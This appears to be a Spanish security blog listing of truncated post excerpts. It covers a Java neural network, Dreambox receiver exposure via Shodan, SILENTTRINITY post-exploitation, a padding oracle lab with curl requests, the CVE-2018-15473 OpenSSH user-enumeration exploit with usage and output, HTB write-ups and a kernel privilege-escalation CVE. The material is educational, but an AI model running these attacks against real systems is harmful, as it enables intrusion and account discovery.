DELYSID ANN - Perceptrón Multicapa JAVA MACHINE LEARNING

https://github.com/DanielRosillo/Delysid-ANN

En esta ocasión les comparto las estructuras para modelar una red neuronal y entrenarla mediante Machine Learning, cabe destacar que es completamente POO y incluye un Demo funcional. El código de la red es escalable y adaptable.

ESPECIFICACIONES DEL AGENTE

    • CONEXIONISTA.
    • PERCEPTRON MULTICAPA.
    • APRENDIZAJE SUPERVISADO.
    • FEED-FORWARD.

ENTORNO

    • Java 10.
    • Eclipse Photon.
CONTEXTO

Los procesos mentales permiten a los agentes responder a estímulos del mundo exterior, este mecanismo internamente representa el conocimiento a través de complejas estructuras que mapean la información, resultado de las percepciones del agente a lo largo del tiempo. El conexionismo aborda esta manera de representar la realidad, más en concreto en el ámbito de la inteligencia artificial se estudia la aplicación que tiene para resolver problemas.
La estrategia conexionista se centra principalmente en la filosofía divide y vencerás, apoyándose en modelos lógico-matemáticos cuya relación final es intrínseca al problema, y que, al implementarse en tiempo de ejecución, desencadena una serie de hechos y acciones que de estar en perfecta armonía darán como resultado el aprendizaje automático.

RCE en receptores satélite Linux (y sin despeinarse)

Los receptores satélite basados en Linux como Dreambox, EX4, Technomate, Vu+, etc. siguen en auge pero también son uno de los ejemplos más claros del riesgo que tienen los dispositivos IoT en manos de usuarios no técnicos, es decir, la mayoría. Y no me refiero solo a vulnerabilidades concretas si no a fallos o carencias en la configuración tan básicos como el uso de contraseñas por defecto o vacías o incluso el acceso por defecto a paneles de control sin necesidad de autenticación, y eso es normalmente culpa en gran parte de los fabricantes.

Ya lo hemos visto en más de una ocasión en varios receptores, y hasta algunos vienen de fábrica con el acceso telnet o ssh habilitados y la contraseña de root en blanco... el resultado es que cualquier exposición del dispositivo en Internet abre una puerta inmediata a cualquier atacante, que entraría en nuestra casa, hasta la cocina... literalmente.

Con esto no quiero decir que el usuario no tenga que preocuparse de la seguridad de sus dispositivos y más si están expuestos en Internet, es más, hemos visto receptores con roms "cocinadas" cuya instalación requiere una serie de pasos nada sencillos... pero sin embargo, a menudo olvidamos modificar una simple contraseña. Así que este post va de eso, de intentar concienciarnos de que debemos gastar un minuto en mejorar y/o verificar la seguridad de cada uno de nuestros electrodomésticos (en este caso receptores satélite basados en Linux) porque precisamente ya no son simples electrodométicos... les llaman "inteligentes".

En nuestro ejemplo trataremos con receptores DVB satélite Linux de una de las marcas más famosas: Dreambox. Una simple búsqueda en Shodan nos dará acceso a la página web de control de más de un centenar de receptores con Linux Enigma2:


Del resultado obtenido seleccionaremos uno bastante actualizado como podéis comprobar en la siguiente imagen :

http://IPVULNERABLE:8081/#!/extras

Las 10 mejores técnicas de hacking web en el 2017

Hace un par de años que WhiteHat Security no publicaba el top 10 de técnicas de hacking web y ya lo echábamos de menos... ahora gracias a los chic@s de Portswigger (famosos por Burpsuite) volvemos a tenerlo!

Primero organizaron una votación de entre 37 nominadas, de las cuales 15 fueron votadas por la Comunidad para que, finalmente, un panel de expertos deliberaran y seleccionaran un top 10 de las mejores técnicas de hacking web en 2017 (y también 2016).

Los principales criterios fueron cuán innovadores, generalizados e impactantes eran los técnicas, y por cuánto tiempo seguirán siendo relevantes. Estos son los resultados (del número 10 al 1):

10. Binario de webshell a través de OPcache en PHP 7

En un post de 2016, Ian Bouchard revela una técnica novedosa para bypassear el hardening y obtener con éxito RCE a través de vulnerabilidades de escritura de archivos en sistemas que ejecutan PHP 7.

9. Whitepaper de seguridad de los navegadores de Cure53

En este enorme documento técnico encargado por Google, Cure53 analiza en profundidad la seguridad de Internet Explorer, Edge y Chrome. Los capítulos 3-5 en particular contienen información interesante sobre seguridad web.

8. Codificación de peticiones para eludir WAFs

Soroush Dalili hace algunas cosas curiosas con codificaciones y solicitudes HTTP mal formadas para bypassear numerosos WAF. Desafortunadamente, no está disponible la grabación de la presentación que hizo, pero se puede obtener información a partir de dos posts y las diapositivas actualizadas.

7. Una inmersión profunda en los controles de acceso de AWS S3

Frans Rosén examina el funcionamiento interno de los buckets de S3 desde la perspectiva de un atacante y un defensor. El documento cubre numerosos escollos comunes, incluido el asombroso e hilarante "gotcha" de 'Usuarios Autenticados'.

6. Vulnerabilidades avanzadas en flash

Esta serie de publicaciones de Enguerran Gillier utiliza varias vulnerabilidades en YouTube para introducir e ilustrar varias técnicas avanzadas de explotación de Flash. Ha combinado numerosas técnicas a menudo pasadas por alto con un toque artístico en estas publicaciones sumamente bien explicadas.

SILENTTRINITY - Post Explotación con el “Empire” basado en C# y Python

La semana pasada fue la DerbyCon y nos ha traído muuuuchas cosas nuevas, tantas que estoy sufriendo para poder verlas todas. No obstante, de toda esa montaña de información, una de las charlas ha llamado especialmente mi atención:

  • IronPython… OMFG - Marcello Salvati (byt3bl33d3r)
    • https://github.com/byt3bl33d3r/Slides/blob/master/IronPython_OMFG_Derbycon_2018.pptx
    • https://www.youtube.com/watch?v=NaFiAx737qg

IronPython… OMFG

1- Introducción
byt3bl33d3r, creador del conocido proyecto CrackMapExec, nos presenta SILENTTRINITY, su nuevo agente de post explotación basado en C#/.NET, Python e IronPython.

Para aquellas personas que hayan ido leyendo mis posts anteriores aquí en HackPlayers, ya sabrán por qué razón se está transitando poco a poco a estas herramientas basadas en C#. Para el resto, mencionar que actualmente existen numerosas protecciones contra el uso de PowerShell ofensivo que, poco a poco, están limitando su potencial, como son:
  • AMSI
  • Module Logging 
  • ScriptBlock Logging
  • Transcription Logging
  • Constrained Language Mode

Explotar padding oracle para obtener claves de cifrado

Padding Oracle fue introducido por Serge Vaudenay en la conferencia Eurocrypt de 2002, pero parece que no fue hasta 2010 cuando realmente empezó a tomarse en serio, gracias sobretodo a Juliano Rizzo y Thai Duong que demostraron cómo realizar ataques efectivos utilizando esta técnica a sitios web con ASP.NET.


Hoy, 8 años después, Padding Oracle sigue estando presente no sólo en sitios con ASP.NET sin actualizar, si no en cualquiera que utilice un algoritmo de cifrado de bloques de longitud variable (es decir que necesita usar relleno o padding) y son vulnerables. Y cuando decimos cualquiera no sólo hablamos de Web, si no de cualquier protocolo que utilice cifrado de bloques o CBC como SSL (Poodle), Ipsec, WTLS, o SSH, etc. En todos ellos podríamos llegar a descifrar los datos sin la secret key, e incluso a cifrar con lo que, dependiendo del aplicativo, podríamos insertar en la sesión un cookie de admin o inyectar código EL, por decir algunos ejemplos. Como veis las consecuencias van desde una simple revelación de información sensible hasta la posibilidad de ejecutar código remotamente.

Por eso no conviene olvidarse nunca de las "posibilidades" de Padding Oracle, por lo que hoy rescatamos un post de GDSSecurity dónde explotan esta vulnerabilidad con PadBuster.

Primero empezaremos descargando el código del siguiente repositorio donde encontraremos una aplicación web vulnerable a Padding Oracle. Utiliza AES-128 con padding PKCS#5 y la misma contraseña estática para la clave de cifrado y el vector de inicialización, que se utilizan para cifrar y descifrar este valor. No hay HMAC u otra verificación de integridad de mensajes, así que es ideal para practicar.

# git clone https://github.com/GDSSecurity/PaddingOracleDemos.git
# cd PaddingOracleDemos
# python pador.py


Escenario sencillo

La aplicación descifra todo lo que pongamos en el parámetro 'cipher':
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

Al cambiar los dos primeros bits del primer bloque, podemos verificar que no se realizan comprobaciones de sintaxis en los datos descifrados. Y podemos ver que la aplicación procesa felizmente los datos "basura" que hemos metido:
# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

El siguiente paso es comprobar cómo reacciona la aplicación al padding incorrecto. Podemos hacer esto cambiando bits en el último bloque. Parece que la aplicación devuelve "error de descifrado" cuando el relleno es incorrecto.
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error 

Vulnerabilidad de enumeración de usuarios en OpenSSH (CVE-2018-15473)

El 15 de agosto de 2018 la gente de Qualys publicó en OSS-Security un aviso en el que comunicaban que, analizando los últimos commits de OpenSSH, se dieron cuenta de que se aplicó un parche bastante "curioso":

https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

Date:   Tue Jul 31 03:10:27 2018 +0000
    delay bailout for invalid authenticating user until after the packet
    containing the request has been fully parsed. Reported by Dariusz Tytko
    and Michal Sajdak; ok deraadt

Sin este parche un atacante remoto podría probar fácilmente si un determinado usuario existe o no (enumeración de nombres de usuario):
87 static int
  88 userauth_pubkey(struct ssh *ssh)
  89 {
 ...
 101         if (!authctxt->valid) {
 102                 debug2("%s: disabled because of invalid user", __func__);
 103                 return 0;
 104         }
 105         if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||
 106             (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 ||
 107             (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)
 108                 fatal("%s: parse request failed: %s", __func__, ssh_err(r));

Es decir, con ésto el atacante puede intentar autenticar a un usuario con un paquete mal formado (por ejemplo un paquete truncado) y:

- Si el usuario no es válido (no existe), userauth_pubkey() hace un return inmediatamente, y el servidor envía un SSH2_MSG_USERAUTH_FAILURE al atacante.
- si el usuario es válido (existe), entonces sshpkt_get_u8 () falla y el servidor llama a fatal() y cierra su conexión con el atacante.

Las versiones de OpenSSH desde la 2.2 hasta la 7.7 son vulnerables y, básicamente, el equipo de Qualys estaba denunciando que ese problema debía tener un CVE y lo publicaron en oss-security porque si lo detectaron ellos cualquier otro podría haberlo hecho también y aprovecharse (mis dieses).

Su mensaje hizo efecto y el MITRE le asignó el CVE-2018-15473.

Un par de semanas después el equipo de ShelIntel publicó un exploit para esta vulnerabilidad y el resultado es un bonito script en Python capaz de enumerar usuarios en cientos de miles de servidores con OpenSSH que todavía no han sido actualizados...

El repo lo tenéis en https://github.com/Rhynorater/CVE-2018-15473-Exploit donde encontraréis además una imagen de docker para probar. También lo tenemos en EDB y MSF:

- https://www.exploit-db.com/exploits/45233/
- https://www.rapid7.com/db/search?q=CVE-2018-15473

Uso:
usage: 45233.py [-h] [--port PORT] [--threads THREADS]
                [--outputFile OUTPUTFILE] [--outputFormat {list,json,csv}]
                (--username USERNAME | --userList USERLIST)
                hostname

positional arguments:
  hostname              The target hostname or ip address

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           The target port
  --threads THREADS     The number of threads to be used
  --outputFile OUTPUTFILE
                        The output file location
  --outputFormat {list,json,csv}
                        The output file location
  --username USERNAME   The single username to validate
  --userList USERLIST   The list of usernames (one per line) to enumerate
                        through

Ejemplo:

# nmap -p22 -sV -sC x.x.21.19

Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-03 01:27 CEST
Nmap scan report for xxxxxx (x.x.21.19)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.2 (protocol 2.0)
| ssh-hostkey:
|   1024 70:6b:29:42:b3:d3:e7:8d:12:06:2d:f8:40:5d:b8:c9 (DSA)
|   2048 23:33:92:5e:53:6c:79:87:43:d3:22:e0:b4:24:62:7e (RSA)
|_  256 01:8d:05:c7:92:c7:27:0b:d0:b1:1a:d4:49:c2:86:07 (ECDSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds

# python 45233.py --username root x.x.21.19
root is a valid user!

# python 45233.py --username root2 x.x.21.19
root2 is not a valid user!

[HTB write-up] Sunday

Continuamos nuestro ciclo de writeups de máquinas de Hackthebox con la recién retirada Sunday, una máquina facilona pero cuanto menos curiosa al tratarse de un Solaris.


Scanning

Comenzaremos tratando de identificar puertos abiertos para posteriormente reconocer versiones y ejecutar scripts seguros.


El escaneo SYN no nos da ningún punto de entrada, por lo que tenemos que buscar más. Un escaneo TCP de los puertos habituales tampoco arroja luz sobre el asunto así que procedemos a lanzar un escaneo SYN a todos los puertos.

A mayores, podemos comentar que los scripts ejecutados ya nos dan usuarios así que no sería necesaria la enumeración manual de finger.

Nota 1: -sS = SYN scan; -n = no resolver nombre; -Pn = tratar como host vivo; -oA = todos los formatos output; -sV = Version scan; -sC = ejecutar scripts seguros.

Nota 2: Podríamos usar técnicas ninja para tratar de evadir cortafuegos, como podría ser –g 53 = puerto de origen 53 (dns); -f = fragmentar paquetes; --data-length = aumentar tamaño del paquete

Un escaneo a todos los puertos ya nos da un punto de entrada, el puerto 22022 que resulta ser SSH.

Call for papers h-c0n 2019

Nos temblaban los dedos cada vez que los acercábamos a las teclas de cursor... ¡La #hc0n2019 ya tiene fecha! Será el próximo 8 y 9 de febrero de 2019 también en la ETSISI - Universidad Politécnica de Madrid (Calle de Alan Turing, s/n, 28031 Madrid).


El año pasado, en nuestra primera edición, fueron muchos por no decir todos los aspectos positivos que rodearon la conferencia: los ponentes y sus maravillosas charlas y talleres, las instalaciones de la UPM, la colaboración de la Core Dumped, el CTF previo, los patrocinios y en general vuestra asistencia y la grata acogida que tuvimos. Podéis visitar la web de la h-c0n o nuestra pequeña crónica si no tuvisteis ocasión de acercaros.

Como podéis imaginar, resulta difícil cambiar algo con esa perspectiva, pero lo que si vamos a intentar es mejorar lo que podamos añadiendo algunas novedades. Una de ellas, es un 'Call for papers' que abrimos justo ahora y hasta el próximo 15 de noviembre, con el que esperamos tener un buen número de propuestas para ofreceros una gran variedad de charlas y talleres de calidad.

Así que si te animas a presentar tu ponencia o impartir tu taller en la h-c0n 2019, la II Conferencia de Hackplayers, no lo dudes y rellena el formulario correspondiente en la web del evento:

https://www.h-c0n.com/p/call-for-papers-2019.html


Requisitos:

- El ponente/s debe ser autor o co-autor de dicha ponencia/taller.
- Máximo 2 ponentes por ponencia/taller.
- Máximo 1 ponencia/taller por persona.
- Temática: directamente relacionado con el hacking, ciberseguridad o seguridad informática.
- Duración de las ponencias: 50 minutos.
- Duración de los talleres: 2 horas.
- Idioma: español o inglés.

** Se valorarán muy positivamente las charlas/talleres de carácter técnico y avanzado. **
** También se valorarán muy positivamente las charlas/talleres que no se hayan impartido con anterioridad. **

Periodo de recepción de propuestas: 1 de Octubre - 15 de Noviembre de 2018
Fecha límite de notificación de decisión: 30 de Noviembre de 2018

Para cualquier duda relacionada con el CFP ponte en contacto con la organización a través del correo hackplayerscon_at_gmail.com.

Escalado de privilegios en Linux con nuevo bug 'Mutagen Astronomy'

Los investigadores de Qualys han descubierto una nueva vulnerabilidad crítica que han bautizado como "Mutagen Astronomy" que afecta a las versiones de kernel publicadas entre julio de 2007 y julio de 2017. Se trata de un desbordamiento de enteros que permite escalar privilegios de forma local, concretamente en la función create_elf_tables() que opera las tablas de memoria.
Eso sí, el usuario sin privilegios tiene que tener acceso al binario (SUID o permisos) y parece que el problema no afecta a los sistemas de 32 bits ni a los que tienen pocos recursos de memoria (hablan de al menos 32gbs).

A la vulnerabilidad se le ha asignado el CVE-2018-14634 y afecta (al menos) a las distribuciones Red Hat Enterprise Linux, CentOS y Debian y a versiones de kernel 2.6.x, 3.10.x y 4.14.x. Qualys ha publicado código para dos PoCs:

https://www.qualys.com/2018/09/25/cve-2018-14634/poc-exploit.c
https://www.qualys.com/2018/09/25/cve-2018-14634/poc-suidbin.c


Referencias:

- Red Hat advisory CVE-2018-14634
- New Linux Kernel Bug Affects Red Hat, CentOS, and Debian Distributions 
- New Linux 'Mutagen Astronomy' security flaw impacts Red Hat and CentOS distros
- CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros
- Linux Kernel Vulnerability Affects Red Hat, CentOS, Debian
- Critical Linux Kernel Flaw Gives Root Access to Attackers

[HTB write-up] Olympus

Hoy traemos un nuevo writeup de Hackthebox, el de la recién retirada Olympus, pero esta vez de una forma un poco más especial ya que la máquina es de nuestro compañero del team L1k0rd3b3ll0t4 OscarakaElvis, por lo que aprovecho para darle también la enhorabuena por la máquina tan molona que se marcó.

Enumeración nmap

Ejecutamos


En el análisis de nmap de los 1000 primeros puertos podemos comprobar que tenemos el servicio ssh en dos puertos diferentes: uno filtrado y otro abierto en el 2222. También tenemos un puerto 80 y un servicio dns en el 53, y después de escanear todos los puertos no hemos detectado nada más.

Accedemos al puerto 80 y nos encontramos


En el puerto 80 solo nos encontramos con esa imagen que, después de analizarla mas detenidamente, no nos dió ningún tipo de información que nos pudiera servir.

Fuzzing  de directorios

El primero que lanzaremos será dirb


El segundo que suelo lanzar es dirsearch con algunos diccionarios de Sectlist, pero no tuve suerte y no encontré info más relevante que lo mostrado con dirb.